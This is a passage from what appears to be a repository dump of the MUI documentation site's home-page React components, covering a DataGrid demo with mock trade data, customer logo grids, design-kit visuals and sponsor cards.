'80aeab16-b8f2-57ad-afe9-07f9deaa2c84',\n    desk: 'D-3402',\n    commodity: 'Adzuki bean',\n    traderName: 'Lydia Maxwell',\n    filledQuantity: 0.9934729398966549,\n    status: 'Rejected',\n  },\n  {\n    id: '858285fd-8f21-5615-a90e-098487658c54',\n    desk: 'D-7330',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'Caleb Stokes',\n    filledQuantity: 0.09865810327354424,\n    status: 'Filled',\n  },\n  {\n    id: '7493d12e-74c5-5b23-bb7b-a2ff9379244b',\n    desk: 'D-6008',\n    commodity: 'Milk',\n    traderName: 'Manuel Sanchez',\n    filledQuantity: 0.26201065232068416,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'd9a9170a-effd-5bea-a04a-bf51a7661324',\n    desk: 'D-4277',\n    commodity: 'Soybeans',\n    traderName: 'Mark Cannon',\n    filledQuantity: 0.3274965735620776,\n    status: 'Open',\n  },\n  {\n    id: '53ac954a-52ad-591e-82d5-99d63d3fd701',\n    desk: 'D-167',\n    commodity: 'Adzuki bean',\n    traderName: 'Amanda Thompson',\n    filledQuantity: 0.717225368461782,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'c6f4698b-c900-5ff1-8687-78dd717b0ac6',\n    desk: 'D-7217',\n    commodity: 'Soybean Oil',\n    traderName: 'Timothy Wagner',\n    filledQuantity: 0.8917463495460665,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'd8741891-6de1-5537-b976-ce268cb3c2c8',\n    desk: 'D-2963',\n    commodity: 'Frozen Concentrated Orange Juice',\n    traderName: 'May Fowler',\n    filledQuantity: 0.29648334241897495,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '34770bfe-5bce-5161-bdbb-b082601c561f',\n    desk: 'D-2896',\n    commodity: 'Rapeseed',\n    traderName: 'Ida Allison',\n    filledQuantity: 0.8602341005847483,\n    status: 'Open',\n  },\n  {\n    id: '8d239da8-d6ec-5c80-ae00-a76433034c6d',\n    desk: 'D-7200',\n    commodity: 'Adzuki bean',\n    traderName: 'Ricardo Burke',\n    filledQuantity: 0.939605184959121,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: 'db0b6030-4f8d-5056-9b1d-07b496b2a68a',\n    desk: 'D-2292',\n    commodity: 'Coffee C',\n    traderName: 'Luis Wallace',\n    filledQuantity: 0.44027139812062804,\n    status: 'Rejected',\n  },\n  {\n    id: '1473141a-806f-5128-83e7-c6d9059fd69d',\n    desk: 'D-6626',\n    commodity: 'Soybeans',\n    traderName: 'Lottie Salazar',\n    filledQuantity: 0.476674027577333,\n    status: 'PartiallyFilled',\n  },\n  {\n    id: '9b4788f8-2fff-5a28-bfd1-6e67e5dd90c5',\n    desk: 'D-4592',\n    commodity: 'Cotton No.2',\n    traderName: 'Tillie Dean',\n    filledQuantity: 0.9632860040567951,\n    status: 'Open',\n  },\n];\n\nexport default function DataTable() {\n  return (\n    <ShowcaseContainer\n      preview={\n        <Paper\n          variant=\"outlined\"\n          sx={(theme) => ({\n            overflow: 'hidden',\n            width: '100%',\n            boxShadow: `0 4px 8px ${alpha(theme.palette.primaryDark[300], 0.3)}`,\n            bgcolor: '#fff',\n            border: '1px solid',\n            borderColor: 'grey.200',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.800',\n              boxShadow: `0 4px 8px ${alpha(theme.palette.common.black, 0.3)}`,\n            }),\n          })}\n        >\n          <XGridGlobalStyles />\n          <Typography\n            variant=\"body2\"\n            sx={{\n              color: 'text.primary',\n              fontWeight: 'semiBold',\n              position: 'relative',\n              textAlign: 'center',\n              py: 1.5,\n            }}\n          >\n            Trades, October 2020\n          </Typography>\n          <Divider />\n          <Box sx={{ height: 200 }}>\n            <DataGrid rows={rows} columns={columns} hideFooter density=\"compact\" />\n          </Box>\n        </Paper>\n      }\n      code={\n        <React.Fragment>\n          <ShowcaseCodeWrapper maxHeight={280}>\n            <HighlightedCode copyButtonHidden code={code} language=\"jsx\" plainStyle />\n          </ShowcaseCodeWrapper>\n          <MoreInfoBox\n            primaryBtnLabel=\"Start with the Data Grid\"\n            primaryBtnHref={ROUTES.dataGridOverview}\n            secondaryBtnLabel=\"Learn more about MUI X\"\n            secondaryBtnHref={ROUTES.productAdvanced}\n          />\n        </React.Fragment>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/BacklinkSponsor.tsx",
    "content": "import { Link } from '@mui/docs/Link';\nimport OpenInNewRoundedIcon from '@mui/icons-material/OpenInNewRounded';\n\nexport default function BacklinkSponsor(props: {\n  item: {\n    name: string;\n    description: string;\n    href: string;\n  };\n}) {\n  const { item } = props;\n  // Keep it under two rows maximum.\n  if (item.description.length > 50) {\n    throw new Error(\n      `${item.name}'s description is too long (${item.description.length} characters). It must fit into two line, so under 50 characters.`,\n    );\n  }\n\n  return (\n    <Link\n      data-ga-event-category=\"sponsor\"\n      data-ga-event-action=\"homepage\"\n      data-ga-event-label={new URL(item.href).hostname}\n      href={item.href}\n      title={item.description}\n      target=\"_blank\"\n      rel=\"sponsored noopener\"\n      sx={{ mr: { xs: 1, md: 2 }, mt: 1.5, fontSize: { xs: 13, md: 14 } }}\n    >\n      {item.name}\n      <OpenInNewRoundedIcon sx={{ fontSize: 14 }} />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/CompaniesGrid.tsx",
    "content": "import Grid from '@mui/material/Grid';\nimport IconImage, { IconImageProps } from '@mui/docs/IconImage';\n\nexport const CORE_CUSTOMERS: Array<IconImageProps> = [\n  {\n    alt: 'Spotify logo',\n    name: 'companies/spotify',\n    width: 100,\n    height: 52,\n  },\n  {\n    alt: 'Amazon logo',\n    name: 'companies/amazon',\n    width: 80,\n    height: 52,\n  },\n  {\n    alt: 'Nasa logo',\n    name: 'companies/nasa',\n    mode: '',\n    width: 52,\n    height: 42,\n  },\n  {\n    alt: 'Netflix logo',\n    name: 'companies/netflix',\n    mode: '',\n    width: 80,\n    height: 52,\n  },\n  {\n    alt: 'Unity logo',\n    name: 'companies/unity',\n    width: 69,\n    height: 52,\n  },\n  {\n    alt: 'Shutterstock logo',\n    name: 'companies/shutterstock',\n    width: 100,\n    height: 52,\n  },\n];\n\nexport const ADVANCED_CUSTOMERS: Array<IconImageProps> = [\n  {\n    alt: 'Southwest logo',\n    name: 'companies/southwest',\n    width: 130,\n    height: 54,\n    style: {\n      marginTop: -10,\n    },\n  },\n  {\n    alt: 'Tesla logo',\n    name: 'companies/tesla',\n    width: 140,\n    height: 52,\n    style: {\n      marginTop: -11,\n    },\n  },\n  {\n    alt: 'Apple logo',\n    name: 'companies/apple',\n    width: 29,\n    height: 52,\n    style: {\n      marginTop: -21,\n    },\n  },\n  {\n    alt: 'Siemens logo',\n    name: 'companies/siemens',\n    mode: '',\n    width: 119,\n    height: 59,\n    style: {\n      marginTop: -13,\n    },\n  },\n  {\n    alt: 'Volvo logo',\n    name: 'companies/volvo',\n    width: 128,\n    height: 52,\n    style: {\n      marginTop: -11,\n    },\n  },\n  {\n    alt: 'Deloitte logo',\n    name: 'companies/deloitte',\n    width: 97,\n    height: 52,\n    style: {\n      marginTop: -12,\n    },\n  },\n];\n\nexport const DESIGNKITS_CUSTOMERS: Array<IconImageProps> = [\n  {\n    alt: 'Spotify logo',\n    name: 'companies/spotify',\n    width: 100,\n    height: 52,\n  },\n  {\n    alt: 'Amazon logo',\n    name: 'companies/amazon',\n    width: 80,\n    height: 52,\n  },\n  {\n    alt: 'Apple logo',\n    name: 'companies/apple',\n    width: 29,\n    height: 52,\n  },\n  {\n    alt: 'Netflix logo',\n    name: 'companies/netflix',\n    mode: '',\n    width: 80,\n    height: 52,\n  },\n  {\n    alt: 'X logo',\n    name: 'companies/x',\n    mode: '',\n    width: 30,\n    height: 30,\n  },\n  {\n    alt: 'Salesforce logo',\n    name: 'companies/salesforce',\n    mode: '',\n    width: 50,\n    height: 52,\n  },\n];\n\nexport const TEMPLATES_CUSTOMERS: Array<IconImageProps> = [\n  {\n    alt: 'Ebay logo',\n    name: 'companies/ebay',\n    width: 73,\n    height: 52,\n  },\n  {\n    alt: 'Amazon logo',\n    name: 'companies/amazon',\n    width: 80,\n    height: 52,\n  },\n  {\n    alt: 'Samsung logo',\n    name: 'companies/samsung',\n    mode: '',\n    width: 88,\n    height: 52,\n  },\n  {\n    alt: 'Patreon logo',\n    name: 'companies/patreon',\n    width: 103,\n    height: 52,\n  },\n  {\n    alt: 'AT&T logo',\n    name: 'companies/atandt',\n    width: 71,\n    height: 52,\n  },\n  {\n    alt: 'Verizon logo',\n    name: 'companies/verizon',\n    width: 91,\n    height: 52,\n  },\n];\n\nexport default function CompaniesGrid({ data }: { data: Array<IconImageProps> }) {\n  return (\n    <Grid container spacing={4}>\n      {data.map((imgProps) => (\n        <Grid\n          key={imgProps.name}\n          sx={{\n            display: 'flex',\n            justifyContent: 'center',\n            alignItems: 'center',\n            objectFit: 'contain',\n          }}\n          size={{ xs: 6, sm: 4, md: 2 }}\n        >\n          <IconImage alt={imgProps.alt} loading=\"eager\" {...imgProps} />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/CoreShowcase.tsx",
    "content": "import * as React from 'react';\nimport { ThemeProvider, createTheme, useTheme, alpha } from '@mui/material/styles';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\nimport MaterialDesignDemo, { componentCode } from 'docs/src/components/home/MaterialDesignDemo';\nimport ShowcaseContainer, { ShowcaseCodeWrapper } from 'docs/src/components/home/ShowcaseContainer';\nimport PointerContainer, { Data } from 'docs/src/components/home/ElementPointer';\nimport MoreInfoBox from 'docs/src/components/action/MoreInfoBox';\nimport MaterialVsCustomToggle from 'docs/src/components/action/MaterialVsCustomToggle';\nimport FlashCode from 'docs/src/components/animation/FlashCode';\nimport ROUTES from 'docs/src/route';\n\nconst lineMapping: Record<string, number | number[]> = {\n  card: [0, 20],\n  cardmedia: [1, 5],\n  stack: [6, 19],\n  stack2: [7, 16],\n  typography: 8,\n  stack3: [9, 16],\n  chip: [10, 14],\n  rating: 15,\n  switch: 18,\n};\n\nexport default function CoreShowcase() {\n  const { vars, ...globalTheme } = useTheme();\n  const mode = globalTheme.palette.mode;\n  const [element, setElement] = React.useState<Data>({ id: null, name: null, target: null });\n  const [customized, setCustomized] = React.useState(true);\n  const theme = React.useMemo(\n    () =>\n      customized\n        ? createTheme(globalTheme, {\n            palette: {\n              background: {\n                default:\n                  mode === 'dark'\n                    ? globalTheme.palette.primaryDark[900]\n                    : globalTheme.palette.grey[50],\n              },\n            },\n            shape: {\n              borderRadius: 12,\n            },\n            shadows: ['none', '0px 4px 20px 0px hsla(210, 14%, 28%, 0.2)'],\n            components: {\n              MuiCard: {\n                styleOverrides: {\n                  root: {\n                    boxShadow:\n                      mode === 'dark'\n                        ? `0 4px 8px ${alpha(globalTheme.palette.common.black, 0.3)}`\n                        : `0 4px 8px ${alpha(globalTheme.palette.primaryDark[300], 0.3)}`,\n                    backgroundColor:\n                      mode === 'dark' ? globalTheme.palette.primaryDark[800] : '#fff',\n                    border: '1px solid',\n                    borderColor:\n                      mode === 'dark'\n                        ? globalTheme.palette.primaryDark[700]\n                        : globalTheme.palette.grey[200],\n                  },\n                },\n              },\n              MuiAvatar: {\n                styleOverrides: {\n                  root: {\n                    width: 50,\n                    height: 50,\n                    borderRadius: 99,\n                  },\n                },\n              },\n              MuiSwich: globalTheme.components?.MuiSwitch,\n              MuiChip: {\n                styleOverrides: {\n                  filled: {\n                    fontWeight: 'medium',\n                    '&.MuiChip-colorSuccess': {\n                      backgroundColor:\n                        mode === 'dark'\n                          ? globalTheme.palette.success[900]\n                          : globalTheme.palette.success[100],\n                      color:\n                        mode === 'dark'\n                          ? globalTheme.palette.success[100]\n                          : globalTheme.palette.success[900],\n                    },\n                    '&.MuiChip-colorDefault': {\n                      backgroundColor:\n                        mode === 'dark'\n                          ? globalTheme.palette.primaryDark[700]\n                          : globalTheme.palette.grey[100],\n                      color:\n                        mode === 'dark'\n                          ? globalTheme.palette.grey[200]\n                          : globalTheme.palette.grey[800],\n                    },\n                  },\n                },\n              },\n            },\n          })\n        : createTheme({ palette: { mode: globalTheme.palette.mode } }),\n    [customized, globalTheme, mode],\n  );\n  const highlightedLines = element.id ? lineMapping[element.id] : null;\n  let startLine;\n  let endLine;\n  if (highlightedLines !== null) {\n    startLine = Array.isArray(highlightedLines) ? highlightedLines[0] : highlightedLines;\n    endLine = Array.isArray(highlightedLines) ? highlightedLines[1] : startLine;\n  }\n\n  return (\n    <ShowcaseContainer\n      preview={\n        <ThemeProvider theme={theme}>\n          <PointerContainer\n            onElementChange={setElement}\n            sx={{ minWidth: 300, width: '100%', maxWidth: '100%' }}\n          >\n            <MaterialDesignDemo />\n          </PointerContainer>\n        </ThemeProvider>\n      }\n      code={\n        <React.Fragment>\n          <MaterialVsCustomToggle customized={customized} setCustomized={setCustomized} />\n          <ShowcaseCodeWrapper maxHeight={320} hasDesignToggle>\n            {startLine !== undefined && (\n              <FlashCode startLine={startLine} endLine={endLine} sx={{ m: 1, mt: 7 }} />\n            )}\n            <HighlightedCode copyButtonHidden code={componentCode} language=\"jsx\" plainStyle />\n          </ShowcaseCodeWrapper>\n          <MoreInfoBox\n            primaryBtnLabel=\"Start with Material UI\"\n            primaryBtnHref={ROUTES.materialDocs}\n            secondaryBtnLabel=\"View all components\"\n            secondaryBtnHref={ROUTES.materialAllComponents}\n          />\n        </React.Fragment>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/DesignKits.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport { AvatarProps } from '@mui/material/Avatar';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Slide from 'docs/src/components/animation/Slide';\nimport FadeDelay from 'docs/src/components/animation/FadeDelay';\n\nconst ratio = 900 / 494;\n\n// 'transparent' is interpreted as transparent black in Safari\n// See https://css-tricks.com/thing-know-gradients-transparent-black/\nconst transparent = 'rgba(255,255,255,0)';\n\nconst Image = styled('img')(({ theme }) => ({\n  display: 'block',\n  width: 200,\n  height: 200 / ratio,\n  [theme.breakpoints.up('sm')]: {\n    width: 300,\n    height: 300 / ratio,\n  },\n  [theme.breakpoints.up('md')]: {\n    width: 450,\n    height: 450 / ratio,\n  },\n  border: '6px solid',\n  borderColor: (theme.vars || theme).palette.grey[400],\n  borderRadius: theme.shape.borderRadius,\n  objectFit: 'cover',\n  transitionProperty: 'all',\n  transitionDuration: '150ms',\n  boxShadow: '0 4px 20px rgba(61, 71, 82, 0.2)',\n  ...theme.applyDarkStyles({\n    borderColor: (theme.vars || theme).palette.grey[800],\n    boxShadow: '0 4px 20px rgba(0, 0, 0, 0.6)',\n  }),\n}));\n\nconst Anchor = styled('a')(({ theme }) => [\n  {\n    display: 'inline-block',\n    position: 'relative',\n    transition: 'all 120ms ease',\n    borderRadius: '50%',\n    border: '1px solid',\n    borderColor: (theme.vars || theme).palette.grey[200],\n    boxShadow: `0 2px 12px ${alpha(theme.palette.primary[200], 0.3)}`,\n    backgroundColor: '#FFF',\n    '&:hover, &:focus': {\n      borderColor: (theme.vars || theme).palette.primary[300],\n      boxShadow: `0 4px 20px ${alpha(theme.palette.primary[400], 0.3)}`,\n      backgroundColor: (theme.vars || theme).palette.primary[50],\n    },\n  } as const,\n  theme.applyDarkStyles({\n    backgroundColor: alpha(theme.palette.primaryDark[900], 0.8),\n    borderColor: (theme.vars || theme).palette.primaryDark[600],\n    boxShadow: `0 2px 12px ${alpha(theme.palette.primaryDark[800], 0.5)}`,\n    '&:hover, &:focus': {\n      backgroundColor: alpha(theme.palette.primary[900], 0.8),\n      borderColor: (theme.vars || theme).palette.primary[700],\n      boxShadow: `0 2px 16px 0 ${alpha(theme.palette.primary[800], 0.5)}`,\n    },\n  }),\n]);\n\nconst DesignToolLink = React.forwardRef<\n  HTMLAnchorElement,\n  React.PropsWithChildren<{ brand: 'figma' | 'sketch' }>\n>(function DesignToolLink(props, ref) {\n  const { brand, ...other } = props;\n  return (\n    <Anchor\n      ref={ref}\n      aria-label=\"Go to MUI Store\"\n      href={\n        {\n          figma:\n            'https://mui.com/store/items/figma-react/?utm_source=marketing&utm_medium=referral&utm_campaign=home-products',\n          sketch:\n            'https://mui.com/store/items/sketch-react/?utm_source=marketing&utm_medium=referral&utm_campaign=home-products',\n        }[brand]\n      }\n      target=\"_blank\"\n      {...other}\n    />\n  );\n});\n\nconst DesignToolLogo = React.forwardRef<\n  HTMLImageElement,\n  { brand: 'figma' | 'sketch' } & AvatarProps\n>(function DesignToolLogo({ brand, ...props }, ref) {\n  return (\n    <Box\n      ref={ref}\n      {...props}\n      sx={{\n        display: 'flex',\n        p: 2,\n        borderRadius: '50%',\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      }}\n    >\n      <img\n        src={`/static/branding/design-kits/${brand}-logo.svg`}\n        alt=\"\"\n        loading=\"lazy\"\n        width=\"60\"\n        height=\"60\"\n      />\n    </Box>\n  );\n});\n\nexport function PrefetchDesignKitImages() {\n  return (\n    <Box\n      sx={{\n        width: 0,\n        height: 0,\n        position: 'fixed',\n        top: -1000,\n        zIndex: -1,\n        '& > img': {\n          position: 'absolute',\n        },\n      }}\n    >\n      <img src=\"/static/branding/design-kits/designkits1.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits2.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits3.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits4.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits5.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits6.jpeg\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits-figma.png\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits-sketch.png\" alt=\"\" loading=\"lazy\" />\n      <img src=\"/static/branding/design-kits/designkits-xd.png\" alt=\"\" loading=\"lazy\" />\n    </Box>\n  );\n}\n\nconst defaultSlideUp = {\n  '0%': {\n    transform: 'translateY(-300px)',\n  },\n  '100%': {\n    transform: 'translateY(-20px)',\n  },\n};\nexport function DesignKitImagesSet1({\n  keyframes = defaultSlideUp,\n  ...props\n}: BoxProps & { keyframes?: Record<string, object> }) {\n  return (\n    <Slide animationName=\"designkit-slideup\" {...props} keyframes={keyframes}>\n      <FadeDelay delay={400}>\n        <Image src=\"/static/branding/design-kits/designkits1.jpeg\" alt=\"\" />\n      </FadeDelay>\n      <FadeDelay delay={200}>\n        <Image src=\"/static/branding/design-kits/designkits3.jpeg\" alt=\"\" />\n      </FadeDelay>\n      <FadeDelay delay={0}>\n        <Image src=\"/static/branding/design-kits/designkits5.jpeg\" alt=\"\" />\n      </FadeDelay>\n    </Slide>\n  );\n}\n\nconst defaultSlideDown = {\n  '0%': {\n    transform: 'translateY(150px)',\n  },\n  '100%': {\n    transform: 'translateY(-80px)',\n  },\n};\nexport function DesignKitImagesSet2({\n  keyframes = defaultSlideDown,\n  ...props\n}: BoxProps & { keyframes?: Record<string, object> }) {\n  return (\n    <Slide animationName=\"designkit-slidedown\" {...props} keyframes={keyframes}>\n      <FadeDelay delay={100}>\n        <Image src=\"/static/branding/design-kits/designkits2.jpeg\" alt=\"\" />\n      </FadeDelay>\n      <FadeDelay delay={300}>\n        <Image src=\"/static/branding/design-kits/designkits4.jpeg\" alt=\"\" />\n      </FadeDelay>\n      <FadeDelay delay={500}>\n        <Image src=\"/static/branding/design-kits/designkits6.jpeg\" alt=\"\" />\n      </FadeDelay>\n    </Slide>\n  );\n}\n\nexport function DesignKitTools({ disableLink, ...props }: { disableLink?: boolean } & BoxProps) {\n  function renderTool(brand: 'figma' | 'sketch') {\n    if (disableLink) {\n      return <DesignToolLogo brand={brand} />;\n    }\n    return (\n      <DesignToolLink brand={brand}>\n        <DesignToolLogo brand={brand} />\n      </DesignToolLink>\n    );\n  }\n  return (\n    <Box\n      {...props}\n      sx={{\n        position: 'absolute',\n        top: '50%',\n        left: '50%',\n        transform: 'translate(-50%, -50%)',\n        zIndex: 10,\n        display: 'grid',\n        gap: { xs: 3, lg: 6 },\n        py: 4,\n        gridTemplateColumns: '1fr 1fr',\n        '& .MuiAvatar-root': {\n          width: { xs: 80, sm: 100 },\n          height: { xs: 80, sm: 100 },\n        },\n        ...props.sx,\n      }}\n    >\n      <FadeDelay delay={200}>{renderTool('figma')}</FadeDelay>\n      <FadeDelay delay={400}>{renderTool('sketch')}</FadeDelay>\n    </Box>\n  );\n}\n\nexport default function DesignKits() {\n  return (\n    <Box\n      sx={{\n        mx: { xs: -2, sm: -3, md: 0 },\n        my: { md: -18 },\n        height: { xs: 300, sm: 360, md: 'calc(100% + 320px)' },\n        overflow: 'hidden',\n        position: 'relative',\n        width: { xs: '100vw', md: '50vw' },\n      }}\n    >\n      <Box\n        sx={(theme) => ({\n          position: 'absolute',\n          width: '100%',\n          height: '100%',\n          bgcolor: 'grey.50',\n          opacity: 0.6,\n          zIndex: 1,\n          ...theme.applyDarkStyles({\n            bgcolor: 'primaryDark.900',\n          }),\n        })}\n      />\n      <Box\n        sx={(theme) => ({\n          display: { xs: 'block', md: 'none' },\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: '100%',\n          height: '100%',\n          background: `linear-gradient(to bottom, ${\n            (theme.vars || theme).palette.primary[50]\n          } 0%, ${transparent} 30%, ${transparent} 70%, ${\n            (theme.vars || theme).palette.primary[50]\n          } 100%)`,\n          zIndex: 2,\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(to bottom, ${\n              (theme.vars || theme).palette.primaryDark[900]\n            } 0%, ${alpha(theme.palette.primaryDark[900], 0)} 30%, ${alpha(\n              theme.palette.primaryDark[900],\n              0,\n            )} 70%, ${(theme.vars || theme).palette.primaryDark[900]} 100%)`,\n          }),\n        })}\n      />\n      <Box\n        sx={(theme) => ({\n          display: { xs: 'none', md: 'block' },\n          position: 'absolute',\n          top: 0,\n          left: 0,\n          width: 400,\n          height: '100%',\n          background: `linear-gradient(to right, ${\n            (theme.vars || theme).palette.primary[50]\n          }, ${transparent})`,\n          zIndex: 2,\n          ...theme.applyDarkStyles({\n            background: `linear-gradient(to right, ${\n              (theme.vars || theme).palette.primaryDark[900]\n            }, ${alpha(theme.palette.primaryDark[900], 0)})`,\n          }),\n        })}\n      />\n      <DesignKitTools\n        sx={{\n          top: { xs: '50%', md: 'calc(50% + 80px)', xl: '50%' },\n          transform: { xs: 'translate(-50%, -50%)' },\n          left: { xs: 'min(50%, 500px)' },\n        }}\n      />\n      <Box\n        sx={{\n          // need perspective on this wrapper to work in Safari\n          position: 'relative',\n          height: '100%',\n          perspective: '1000px',\n        }}\n      >\n        <Box\n          sx={{\n            left: '36%',\n            position: 'absolute',\n            display: 'flex',\n            transform: 'translateX(-40%) rotateZ(30deg) rotateX(8deg) rotateY(-8deg)',\n            transformOrigin: 'center center',\n          }}\n        >\n          <DesignKitImagesSet1 />\n          <DesignKitImagesSet2 sx={{ ml: { xs: 2, sm: 4, md: 8 } }} />\n        </Box>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/DesignSystemComponents.tsx",
    "content": "import dynamic from 'next/dynamic';\nimport { useInView } from 'react-intersection-observer';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nfunction Placeholder() {\n  return (\n    <Box\n      sx={(theme) => ({\n        height: { xs: 1484, sm: 825, md: 601 },\n        borderRadius: 1,\n        bgcolor: 'grey.100',\n        ...theme.applyDarkStyles({\n          bgcolor: 'primaryDark.900',\n        }),\n      })}\n    />\n  );\n}\n\nconst MaterialDesignComponents = dynamic(() => import('./MaterialDesignComponents'), {\n  loading: Placeholder,\n});\n\nexport default function DesignSystemComponents() {\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '500px',\n  });\n  return (\n    <Section ref={ref} cozy>\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Production-ready components\"\n        title={\n          <Typography variant=\"h2\">\n            Beautiful and powerful,\n            <br /> <GradientText>right out of the box</GradientText>\n          </Typography>\n        }\n      />\n      {inView ? <MaterialDesignComponents /> : <Placeholder />}\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/DiamondSponsors.tsx",
    "content": "import { useInView } from 'react-intersection-observer';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport AddRounded from '@mui/icons-material/AddRounded';\nimport { Link } from '@mui/docs/Link';\nimport SponsorCard from 'docs/src/components/home/SponsorCard';\n\nconst DIAMONDs = [\n  {\n    src: '/static/sponsors/doit-square.svg',\n    name: 'Doit International',\n    description: 'Technology and cloud expertise to buy, optimize and manage public cloud.',\n    href: 'https://www.doit.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    src: '/static/sponsors/formengine-square.svg',\n    name: 'FormEngine Core',\n    description: 'Stop building forms with MUI manually! Try the smart way — use FormEngine Core.',\n    href: 'https://formengine.io/lightweight-react-json-schema-form-builder-library-for-mui?utm_source=mui&utm_medium=sponsor&utm_campaign=mui&utm_content=stop-manually&utm_term=smartway',\n  },\n];\n\nexport default function DiamondSponsors() {\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '500px',\n  });\n  const maxNumberOfDiamondSponsors = 3;\n  const spotIsAvailable = maxNumberOfDiamondSponsors > DIAMONDs.length;\n  return (\n    <div ref={ref}>\n      <Typography\n        component=\"h3\"\n        variant=\"h6\"\n        sx={[\n          {\n            fontWeight: 'semiBold',\n          },\n          (theme) => ({\n            mt: 4,\n            mb: 1.5,\n            background: `linear-gradient(45deg, ${(theme.vars || theme).palette.primary[400]} 50%, ${\n              (theme.vars || theme).palette.primary[800]\n            } 100%)`,\n            WebkitBackgroundClip: 'text',\n            WebkitTextFillColor: 'transparent',\n          }),\n        ]}\n      >\n        Diamond\n      </Typography>\n      <Grid container spacing={{ xs: 2, md: 3 }}>\n        {DIAMONDs.map((item) => (\n          <Grid key={item.name} size={{ xs: 12, sm: 6, md: 4 }}>\n            <SponsorCard logoSize={64} inView={inView} item={item} />\n          </Grid>\n        ))}\n        {spotIsAvailable && (\n          <Grid size={{ xs: 12, sm: 6, md: 4 }}>\n            <Paper\n              variant=\"outlined\"\n              sx={{\n                p: 2,\n                display: 'flex',\n                alignItems: 'center',\n                height: '100%',\n                borderStyle: 'dashed',\n              }}\n            >\n              <IconButton\n                aria-label=\"Become MUI sponsor\"\n                component=\"a\"\n                href=\"mailto:sales@mui.com\"\n                target=\"_blank\"\n                rel=\"noopener\"\n                color=\"primary\"\n                sx={(theme) => ({\n                  mr: 2,\n                  border: '1px solid',\n                  borderColor: 'grey.300',\n                  ...theme.applyDarkStyles({\n                    borderColor: 'primaryDark.600',\n                  }),\n                })}\n              >\n                <AddRounded />\n              </IconButton>\n              <div>\n                <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n                  Become our sponsor!\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  To join us, contact us at{' '}\n                  <Link href=\"mailto:sales@mui.com\" target=\"_blank\" rel=\"noopener\">\n                    sales@mui.com\n                  </Link>{' '}\n                  for pre-approval.\n                </Typography>\n              </div>\n            </Paper>\n          </Grid>\n        )}\n      </Grid>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/ElementPointer.tsx",
    "content": "import * as React from 'react';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport { debounce } from '@mui/material/utils';\n\nconst PointerContext = React.createContext<undefined | ((data: Data) => void)>(undefined);\n\nexport const withPointer = <T extends React.ElementType>(\n  Component: T,\n  options: { id: string; name: string },\n) => {\n  function WithPointer(props: object) {\n    const root = React.useRef<HTMLElement>(null);\n    const handleMouseOver = React.useContext(PointerContext);\n    return (\n      <React.Fragment>\n        {/* @ts-ignore */}\n        <Component\n          ref={root}\n          {...props}\n          onMouseOver={(event: React.MouseEvent) => {\n            event.stopPropagation();\n            if (handleMouseOver && root.current) {\n              handleMouseOver({\n                id: options.id,\n                target: root.current,\n                name: options.name,\n              });\n            }\n          }}\n        />\n      </React.Fragment>\n    );\n  }\n\n  return WithPointer as T;\n};\n\nexport type Data = { id: null | string; name: null | string; target: null | HTMLElement };\n\nexport default function PointerContainer({\n  onElementChange,\n  ...props\n}: BoxProps & { onElementChange?: (data: Data) => void }) {\n  const container = React.useRef<HTMLDivElement>(null);\n  const [data, setData] = React.useState<Data>({\n    id: null,\n    name: null,\n    target: null,\n  });\n  const handleMouseOver = React.useMemo(\n    () =>\n      debounce((elementData: Data) => {\n        setData(elementData);\n      }, 200),\n    [],\n  );\n  React.useEffect(() => {\n    if (onElementChange) {\n      onElementChange(data);\n    }\n  }, [data, onElementChange]);\n  return (\n    <PointerContext.Provider value={handleMouseOver}>\n      <Box\n        ref={container}\n        {...props}\n        onMouseLeave={() => handleMouseOver({ id: null, name: null, target: null })}\n        sx={{ position: 'relative', ...props.sx }}\n      >\n        {props.children}\n        {container.current && data.target && (\n          <Box\n            sx={{\n              border: '1px solid',\n              borderColor: '#0072E5',\n              pointerEvents: 'none',\n              position: 